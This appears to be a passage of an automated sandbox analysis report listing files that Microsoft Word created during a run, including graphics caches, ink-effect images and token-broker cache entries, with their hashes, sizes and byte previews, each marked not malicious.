SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1298), with no line terminators
Category:	modified
Size (bytes):	1298
Entropy (8bit):	5.077301845740677
Encrypted:	false
SSDEEP:	24:2dtatFtAzXR0X5qBiX5qGXX5qyjX5qgZX5q4d3X5qsHX5qfYX5qO:cGEbRNBfGQyEg+4dwsgfJO
MD5:	70EFA566464C23B4E36A63A2E54795F1
SHA1:	71D018AAF38ED9178717D2871810F8FDF4A5FA88
SHA-256:	186DF18340B77010991449EA87475CAE6651432084C1AFC7AFE5AEE779B42DDF
SHA-512:	BA840DF32DB645E461392400DA7F01AC57EB2F722D1A7C8AD22551D8B83FAB38EE69D328248871905791F23FA8604A48F7DBD3DDD231C3E506B5D5C1134C5712
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>8</Count><Resource><Id>inkeffectsilver_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectsilver.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkeffectrosegold_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectrosegold.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkeffectgold_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectgold.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkeffectlava_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectlava.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkeffectgalaxy_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectgalaxy.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkeffectbronze_0</Id><LAT>2024-07-22T13:58:48Z</LAT><key>inkeffectbronze.jpg</key><folder>Graphics</folder><type>10</type></Resource><Resource><Id>inkef

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectbronze.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	51359
Entropy (8bit):	7.951666710600864
Encrypted:	false
SSDEEP:	1536:R0RcgzFbKPP60jIl5/IwaJczf3CtvRX5/wWi5:bgxbKPid/IwnzqJ5E5
MD5:	C78ADBD2D46B0E9C1D82F07CE097886C
SHA1:	FB1112D34E16E16AEE78EEDD4FC646ED9BE2AF93
SHA-256:	AEBFCC397AEF37AFE927595078B879AB56A3EEA1725B49E5716DEBCE74B8757C
SHA-512:	0EE4D259906BA938FAF8C1A0ED1A77FB4AD16313839B8790955448F7219806B4B70BA318A359F4724031C62300D4A24E0C63CFEE233EF25B3AE907F5F09AB89B
Malicious:	false
Preview:	......Exif..II*.................Ducky..............http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:cf966bc7-2e03-1179-b805-d8edc999fcb6" xmpMM:DocumentID="xmp.did:630AA0AD350711E7A8B5D05185B6C702" xmpMM:InstanceID="xmp.iid:630AA0AC350711E7A8B5D05185B6C702" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:93DCC65027C411E7BFED96D58044CBC1" stRef:documentID="xmp.did:93DCC65127C411E7BFED96D58044CBC1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............!.!4..4B/)/B=3223=FFFFFF

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgalaxy.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	39125
Entropy (8bit):	7.979802521866709
Encrypted:	false
SSDEEP:	768:WCjr07kqJ96I8cTgooRTYWHj3FkbeP2rcZ7EHA6s5:507kq2SEo+TLjTw+7EHTe
MD5:	239B06776C5028E8696BE5DDE3056F40
SHA1:	5BA5F0F7762296CBC0A066608E611AAA4D386F75
SHA-256:	D8A45BC6BD592ED29DC7F74666B6C22D4ADDCA52261FDF2A929CE7205FC4EFCA
SHA-512:	7B5319E22DC8D422C9974A6DE23B094CCBC89861FFBBA85C5A19137B1A7CE3224E34978F2AF5777BB357571379B998DCBB30951DBEF32BBFE8C73929D2F90B86
Malicious:	false
Preview:	......JFIF..............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv...............................)&""&)>,0,0,>^;E;;E;^SeRMReS.vhhv.........................."..............................................BKB.@..h.Z.Z....ker..Xd!.E........y.e.<...tNoK...:..B..R...,.uAM....H..Rd..h....%Q...'#.......JRcN..pGL{3.1....!C.8..y.R..3....$.%..H.......eoG..\..M.........5..........c.F{....j.....&?J.*.ad..Y3[..2\..5)+..Qh....g.)....biQ$@..uCV..0.&+..#..,.B...JR.\|lp.C...{.V.;N$.m.w.j..;"..:.$....Z.sj...!,m..G5...l...Y.l/.J....:.=.;u,:.G.....u/.u.u.#5..Y.C....DI......t..B.....f..v(t.......0H..M.d.5e.J.l..(...C.K-...S4..HR.uz>....f.q.jU..$..q.....QG....%.=.@....\.t....v....f...r:;[.n..W/.&....._..Q?o9.S.....s.Y....T..yT...;T..c.G.Lk..tf.0 ..x.".#Ptw%n!.P......%.]+yWb`lY.y&k...t..pr1=I.Z.A....i.......I..k.{.!.G8........vi1]./\.6_....Z...:X..1...u ..\.n...<.-}...D.>q..G...F......?Z.V.\..hX.....#.Ec...H..s...m...\..6.[V&.V.Fwv4G6.!%.Yg...3...7.m.

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgold.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	45967
Entropy (8bit):	7.9705077862907885
Encrypted:	false
SSDEEP:	768:IuC14Fy5SyHdNNbx4IsRctKVqjrk+wiM6SNlM3jDbS+TFhNdc:IuC+RkRSjyxoPNl6DbSqhNdc
MD5:	041305375CE26DE66A1405C06819D3CD
SHA1:	4448296BBA3BD8ACF34D1AF5C4CFEBDFD6B07919
SHA-256:	4BB1E1D1139CAFDD96D4C98F78086B3677A68A90ABCACE31250F1442C9E528B0
SHA-512:	F15A172058470337F9EA00F5757A605A0A069A7C232BA6015B2839CEC27DCEA30E81BEFD811AC15D9B442648FFD9F07B82B1E104F86890C2F2680242EC32958A
Malicious:	false
Preview:	......JFIF..............................+'$$'+A.2.2.Ac=H==H=cWjVPVjW.{mm{................................+'$$'+A.2.2.Ac=H==H=cWjVPVjW.{mm{..........................."..............................................rZ.5E[.lH...Nn..r..chh9.E.`..]9...!xS[.{...G.i.vUG.d!+Pu#. .%sF.GE......W..&...zo..l...og....F.Q..H......=....=.q.....x...R..P.)V..<.....L......>Y."O=.T.."s..Y...gtx..r..A....oAUg>.c....hx.1.gF.u..,.\|.yPT.R......B....$!...,.P..=$t..@...V5I.i..j..s55.+.BBMJ.<4I.F\|.j.>..Tq..$....\|....f\|r.y./e.]:9;/........i.t..6...D.I.......Qs.CU.0.KP,..J...N.A-Y.........qp.+..._6Y.}..-5.5E#.x..J...+.RJ..X....Tc.o.I....1...Fp."...J+..L...8.l.k...{..'.L..X...Vu.t.h..$h..;."=f.c......uj...1...4..:..pb....N...D...zn[.X-v...X.g....C,.].UaX.Q...."..=4.\e.V.~.5.....qI.....T/M.Hl.F.y.S%E]f.G.<....+p...5U.kT\|.Gs..z=.D...n.\|.t~..)..2.:.........B.Jf.S..C.#.........J.Y...-..U..k..A.K...V.@.GEpb...d.....W...D......#.....'X..J....'.i.Kw..+.6.#+..J....,.}B.Tbh.i

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectlava.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	46495
Entropy (8bit):	7.9661137194510605
Encrypted:	false
SSDEEP:	768:VQ++TcRGfH5eNodvzDnMex2FzuOojrl+X4H+91i57BR/SUcKkuMw2D:cTmQHICzA7ijrlZ+9g57BZSUcKk5ww
MD5:	437A5A184681BCFC608FD1E97D708616
SHA1:	7D84FBE6D4DED5A3C98414F458CE071BBC9035BB
SHA-256:	D1F0B68D87F6B09555851C30F0352A07952B5B0885EFB8D3E3FF5CEE4279E87B
SHA-512:	6B2D7542117A4F4DA956CB7EF4C09F69728F793C0DE6BAAC6790F73E923600EABA0FC54D1C7082483244EF1DA0246158C69143CD297FA08131B302AAD04B5003
Malicious:	false
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9ddd68a3-599c-c447-b762-dfdcc6ed67f0" xmpMM:DocumentID="xmp.did:6DA3B3432F9611E79EC5C8FB588A0A7D" xmpMM:InstanceID="xmp.iid:6DA3B3422F9611E79EC5C8FB588A0A7D" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:171e06c7-6010-1747-9ee0-2032452c22f2" stRef:documentID="adobe:docid:photoshop:647e5738-1e35-11e7-9c56-d2f51c83e137"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectocean.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	51762
Entropy (8bit):	7.969551469107947
Encrypted:	false
SSDEEP:	1536:2RjFVIGWSX55YGjQQq35KuAt85LMn7Tz+dR8jG/t:2RhVIiiWQ9sxnLGR8jG/t
MD5:	B3DB04E08D530D82F33A9B09EA528595
SHA1:	C503E80D02BACAC44C1E53D2C2289F5702B0C829
SHA-256:	35711A8D24732AEB50300EACD3E231BFD5676D6575830240BF7111BFF040B9E5
SHA-512:	C6B66DC04793FFAD8C7CEE1908334C664D122B6D444B8ED534E20E5FA3A7ED22062697C759BD8236910BD5E88D321D11C4BAC7EF40B64E3E69620AA7AEF26B1D
Malicious:	false
Preview:	......Exif..II*.................Ducky..............http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:bbfa45cd-c1f9-7e4b-bdf0-5a08d3643b82" xmpMM:DocumentID="xmp.did:7E9BDF902F9611E79068964DF66B6A5F" xmpMM:InstanceID="xmp.iid:7E9BDF8F2F9611E79068964DF66B6A5F" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:bfdf1a42-cec7-c342-962a-2f28aa7f0712" stRef:documentID="adobe:docid:photoshop:21012dab-1e31-11e7-9c56-d2f51c83e137"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrainbowglitter.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	77636
Entropy (8bit):	7.98325572479678
Encrypted:	false
SSDEEP:	1536:GQvLaOfOKaf5ZKLzFxDZsDYlV4uCD258Vds+7RWiakyvggK:mOOKahZoZqY+uDCVe+Aizye
MD5:	DEE12646BC7E105B3A97555A5AD46F1F
SHA1:	D3C1F8FAFD06682514F2A88B5DD4B2D0BB1C9D0A
SHA-256:	F47061DFB3F3312AF65E739C09EF51B0F0C2DE21FDCD344C35B5E9C37665CFD2
SHA-512:	3A94C1975B50995BC368376423203F072417C83C4A65312122C0258075EFA6C0686D01A4B9CEF67D30012D0509DBA69D03921E9E6A6171C1F9E52690D5C2CF7B
Malicious:	false
Preview:	......JFIF.............................."...."4%(%(%4N191191NETD?DTE\|bVVb\|.yry..........................."...."4%(%(%4N191191NETD?DTE\|bVVb\|.yry......................"..............................................\.gI.:SI1F....Q..)._.t...9..l..5..++T).R..lQk<..H}.mS.Z.~..d......r~...W+.\.b9.i.A......Q..D.w.\|..#k......3.&V[d...UD3..Gw?G.........T..a....m.Zi..Q4.ltL.].-......j.B.F.+..gN9......ch4.3.D.s..w..Vy..lRm..qh-rP...u.....+....=.2..i.h..dz:...z.,F..;....b..Im..c.5.#.=.......7.....\..G..]l...O3R1?.....r.i.'..~.h...\|.R.j.p0y../F.iR..:......iK.m.X..`".:.4v..........i......9.0..l}><..6..".*..SEc....0u.r.&...Cl...S..f.\|....v...-.v.lA.y....8........F58.>\|.W?..)..X:........]2...3R...s.\.S..".&...g....H..rT......XR4.K..L..=.......#..C'...._>-.S.RRoH.]..B>'...{.9.^K.u./y..Q3Z...g......?.f#X....yoK.%X.`P`K/;:..u-.4..+....."_Q..kU..:...._.@5..&X.t..J....e...t.`.k.."HZ...V.gln....b .....U.0.>.jk.b\t.R...^..C.N.........w..-.AqEk...c.f...[Cw\.XKF...{.......'.9.

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrosegold.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	42587
Entropy (8bit):	7.956158176110853
Encrypted:	false
SSDEEP:	768:33uVCSrPcSrBbXGFz+dT+YrUjmJ3/Tm14bFXBFfP+EIbeIIoAuYY4so2/EKchzum:33uV74StXhSYrUiJvTsCNjNIbz6pAEKk
MD5:	481D6C397EC9255C7158948ECAEE6585
SHA1:	F6692C7064A6E54991283963DA5190C179753D19
SHA-256:	EDE39E66268900159B6B80106B11EF74539F5077D8206DEEAD9B98E8F3CFD176
SHA-512:	5B4BC810879E55F712E0E860FB4D4ADE54297DC574C1658CD3E61EDC8D0AAD9B0EFED16EAA347B663F1271207BD2B858B8644B333BE98CFB0C6536279A8950BE
Malicious:	false
Preview:	......Exif..II*.................Ducky..............http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:cf966bc7-2e03-1179-b805-d8edc999fcb6" xmpMM:DocumentID="xmp.did:9328F00B350711E7AC20BD1A5FC75C1C" xmpMM:InstanceID="xmp.iid:9328F00A350711E7AC20BD1A5FC75C1C" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5BC0E725279811E7BFED96D58044CBC1" stRef:documentID="xmp.did:5BC0E726279811E7BFED96D58044CBC1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d................$..$-"."-)#""#)8/////

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectsilver.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3
Category:	dropped
Size (bytes):	38755
Entropy (8bit):	7.969372339631151
Encrypted:	false
SSDEEP:	768:xIw5we0JUmH9lDEt7ABvuRYLZ2CjOkqwP6HtSbIDNEaP2bu4:xIeweU9uABvkYLZ2Cj5PhIefu4
MD5:	D1895189ECEEF4679EAA001B3F779DB3
SHA1:	FC4AAA7A7F84C806F042A80E1F90B8E7236A8559
SHA-256:	3D832CABF1C0DAAA5314F32A8E412E36F5628F6D2A14A021901D667773B382D3
SHA-512:	E44A6E7AA7E2BEE1C1C5635AC255BBCB361D2532A4169F0D1F757EBBAA384B11B1635D932CD44E1748821459F53B81EF79B6642080C77F41BC4D93C8B73F312E
Malicious:	false
Preview:	......JFIF.........................!#.#!0-))-0I48484IoEQEEQEobwaZawb..{{...........................!#.#!0-))-0I48484IoEQEEQEobwaZawb..{{...........................".............................................`:y.C....(.$e.RFmA..QcW..x..I....9..l...u.Rak.J.W....:.F:.Kh`+....CU.QU.g.^..ps.\|..4..1CN^.N.b...[....Lt..S...K.....dFLv......yJ.&...?"u..j.....d.F....r...<.....t.D......'Hv I%..^iKI..p..........A..i...u9(^ZS. .'J."l.M.uFE...T....,:8..w..JfJ.K....w,....EE...x........v)...e..=......v..A.{J...].4f1....Y..s.i2nn....}h9....^}...u..W....z..Vw.bk.bp......,.... .2.fS...U:dB....r:..N..uG..;b..\m.=z,+.^A....JV.+...6..l..!.(.Te.k9..J..s.5...P....IVF.i$...OA 77D.K x....R.0..nr. }...2g .....Xi...b]E.E.shO..i3G].i..v........jt.L.YG;.T..n2n.d..N.mi..Jl.#......yK...\..al...m.]..e.j.D..eA...Q..~~.F....4....0u..<..2.g.......!......].9cF.IX..g3.:n{j.l.......ON.\|f....}....qz.!..Elc.X.,.t.j.j;.....I.m.X..sR..0^........;N..N..U..Z

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\oart.json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	8515
Entropy (8bit):	2.376758026536063
Encrypted:	false
SSDEEP:	192:OGEGGGBGcGSGwGdGKGjWqGjWUGjW3GjWiGjWAGjWUGjWTGjWwG/zhGzPhGjf4:zJbwx3F8f02FU+UJiUsk
MD5:	53D49444EAF92E0CF5D2985CCAEDE42B
SHA1:	DA2D6C55752243AA5E638750F038DADF3C9FE6CC
SHA-256:	722A39658D2F3D5E333874F23485CEA9DA2B79EDA454FA7F5A9FEFBFDB9B2AD8
SHA-512:	B59D16AE8DCB2D9F02BF7CD594A94D140C9CB308DECFEEDF89B9C166657D8B6BD97FA7CFCF97F0D45E184A470B209F28F1ECC420C5CBF8D88D6E0E1C3AB48064
Malicious:	false
Preview:	{.. "MajorVersion": 1,.. "MinorVersion": 5,.. "ResFamily": [.. {.. "Family": "InkEffect",.. "Res": [.. {.. "n": "inkeffectrainbowglitter",.. "sub": [.. {.. "sn": "",.. "sid": 0,.. "ext": "jpg".. }.. ].. },.. {.. "n": "inkeffectgalaxy",.. "sub": [.. {.. "sn": "",.. "sid": 0,.. "ext": "jpg".. }.. ].. },.. {.. "n": "inkeffectgold",.. "sub": [.. {.. "sn": "",.. "sid": 0,.. "ext": "jpg".. }.. ].. },.. {.. "n": "inkeffectsilver",.. "sub": [.. {.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.844562966056304
Encrypted:	false
SSDEEP:	48:uiTrlKxsxx8xl9Il8uFFViLgYbWmrF7qld1rc:vQYZVicYbWCF79
MD5:	8DD4EE04D7AE71479C85CADB883C8A89
SHA1:	CDA4C6A6E52E90900E8463E952DD8E63FF67D072
SHA-256:	B556853174CF0717396ABA6729FB0B46C742C5BC85BA7F44485392A5F7BBE423
SHA-512:	2C7ECAEC26AA6CF55AFC8D13DEA7E853C8AE9EB16B7E99B8526F7288D0BCA92BED140B41142ABF20307B575F1FDA674EC6FB79FF69372CBC6975FD977F541C62
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.I.0.+.g.U.f.c.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.i.K.n.x.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.005734687659148
Encrypted:	false
SSDEEP:	96:pYZV/8ktGoZ16N27JN30Nc7Q2QEzakdug6/e:p20kkoZ16NCNZQ8vduJG
MD5:	7A1379196918073CB3372B4DECE216FB
SHA1:	345BCC6C6CEF61268F6D22625DD457677ED9EE1C
SHA-256:	A604069536EA8FBB617CFC8DB42C01FB2F5A5D2A5A4320181C33A05803A4AC71
SHA-512:	FE8ECE6FD4430AD2D05C24E0D6A63BAE1A2E925F26B0369724FEA21C67AF19B511D9B0DBFE01848DDF13E69DE4599D45B73F76D9B9A5CBBB6D25C0B27BEFBDAE
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.r.R.S.Z.z./.c.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.i.K.n.x.M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\12BAF3EE.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x518, components 3
Category:	dropped
Size (bytes):	79621
Entropy (8bit):	7.949654755512444
Encrypted:	false
SSDEEP:	1536:EJJt5rmggmHt1zVpigR5lV4Bj1yh0/fakUhx4ZnfO8gf:EJJ3mg9/zVpigR5lw1HabP4ZfOx
MD5:	54A07C35DADB508F554F0ED25AA155B3
SHA1:	84FAC4D81E2AF4E920E4971F8A5D53AC4A8C6BDA
SHA-256:	94EE01362EE9EE7E61A1A62BD197CFF851A64B1DE02AAFE24C1E0A464E4A6036
SHA-512:	D9550DA2511C031F863C6DBDBEBE09E58E3DB74BC7EB564BF7667F8C8F12A55C155092074EDC2FF66AEA6AB7EF630E6625D7F50B68F4EF3215858A407F5320E1
Malicious:	false
Preview:	......Exif..II*...........................V...........^...(.......................i.......f.......H.......H.................0210....................0100....................I.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ ............acspMSFT....lcms...........................-lcms................................................dmnd.......jdesc.......hdmdd.......hwtpt...P....rXYZ...d....bXYZ...x....gXYZ........rTRC........gTRC........bTRC........chrm.......$cprt.......!desc........lcms generated .................................................................................desc........sRGB........................................................................................desc........sRGB........................................................................................XYZ .......=........XYZ ......o...8.....XYZ ......$.........XYZ ......b.........curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|......................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1E8B5958.jpg

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
